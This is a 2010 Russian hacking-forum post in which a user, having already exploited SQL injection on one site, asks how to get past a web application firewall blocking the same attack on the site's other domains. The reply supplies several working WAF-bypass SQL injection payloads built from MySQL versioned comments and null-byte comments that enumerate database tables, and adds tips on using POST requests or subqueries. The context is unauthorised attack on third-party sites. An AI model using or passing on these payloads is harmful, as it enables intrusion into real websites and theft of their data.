Ваши вопросы по уязвимостям.

#11

08.08.2010, 17:55

Redwood

Участник форума

Регистрация: 10.09.2009

Сообщений: 120

С нами: 8772211

Репутация: 56

Цитата:

Сообщение от SEWERN

нашел скул на одном сайте , раскрутил все норм. потом узнал что есть тот же домен на других зонах .ca u .com , на них стоит тот же двиг но при попытке заюзать скул (+union+select и тд) выдает
"Forbidden
You don't have permission to access /index.php on this server.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request." и так везде ((
можно както обойти фильтр ?

WAF, судя по всему.

Некоторые варианты из многих возможных:

Код HTML:

-9999+/*!12345union*/+/*!12345select*/+1,2,table_name,4,5+/*!12345from*/+information_schema.tables

Код HTML:

-9999+/*!union+select+1,2,table_name,4,5+from+information_schema.tables*/

Код HTML:

-9999+/*%00*/union/*%00*/+/*%00*/select/*%00*/+1,2,table_name,4,5+/*%00*/from/*%00*/+information_schema.tables

Код HTML:

-9999+/*!union*/+/*!select*/+1,2,table_name,4,5+/*!from*/+information_schema.tables

Код HTML:

-9999/*!union+select+1,2,table_name,4,5+'aaa'from+information_schema.tables*/

Либо если есть возможность, то отправлять POST' ом, либо подзапросы.

Похожие темы

Тема

Автор

Раздел

Ответов

Последнее сообщение

Ваши ламерские приколы (Ну когда только комп появился)

PEPSICOLA

Болталка

188

23.05.2010 10:05

Ваши любимые компьютерные игры

PEPSICOLA

Болталка

280

19.08.2009 00:01

Ваши телеги...

F-IFTY

Болталка

18.08.2009 18:22

Вопросы по Ipb 2.0

Voodoo_People

Уязвимости CMS / форумов

15.02.2005 22:57